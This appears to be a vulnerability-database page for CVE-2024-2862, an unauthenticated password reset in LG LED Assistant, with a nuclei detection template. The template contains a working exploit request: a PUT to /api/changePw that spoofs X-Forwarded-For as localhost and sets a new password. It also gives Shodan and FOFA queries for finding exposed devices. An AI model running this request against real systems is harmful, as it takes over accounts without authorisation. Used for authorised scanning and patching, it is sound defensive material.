HexBrain

Browse / CVEs / CVE-2024-2862

CVE-2024-2862· CWE-640

LG LED Assistant - Unauthenticated Password Reset

highseverity
9.8CVSS score
51%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The /api/changePw endpoint in LG LED Assistant allows unauthenticated password resets when requests are considered to come from localhost. An attacker can spoof the X-Forwarded-For header with value 127.0.0.1 to trigger the behavior and receive a success response.

Impact

Attackers can reset passwords of anonymous users, potentially leading to unauthorized access and account takeover.

Fix

Apply the latest security patches or update to the newest version of LG LED Assistant.

How to confirm it

Send: PUT /api/changePw
Positive when: contains(body, "{\"resCode\":\"SUCCESS\"}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-2862 -u <target>

The full check
id: CVE-2024-2862

info:
  name: LG LED Assistant - Unauthenticated Password Reset
  author: beginee
  severity: high
  description: |
    The /api/changePw endpoint in LG LED Assistant allows unauthenticated password resets when requests are considered to come from localhost. An attacker can spoof the X-Forwarded-For header with value 127.0.0.1 to trigger the behavior and receive a success response.
  impact: |
    Attackers can reset passwords of anonymous users, potentially leading to unauthorized access and account takeover.
  remediation: |
    Apply the latest security patches or update to the newest version of LG LED Assistant.
  reference:
    - https://lgsecurity.lge.com/bulletins/idproducts#updateDetails
    - https://www.tenable.com/security/research/tra-2024-08
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2862
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-2862
    epss-score: 0.51001
    epss-percentile: 0.98938
    cwe-id: CWE-640
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"LG LED Assistant"
    fofa-query: icon_hash="195291629"
  tags: cve,cve2024,lg,password,reset,lg,vkev,vuln

variables:
  new_password: "Password@123"

http:
  - raw:
      - |
        PUT /api/changePw HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        User-Agent: test
        Content-Type: application/x-www-form-urlencoded

        newPw={{new_password}}&hostName={{hostname}}&to=to&user={{username}}&from=from

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"resCode\":\"SUCCESS\"}")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from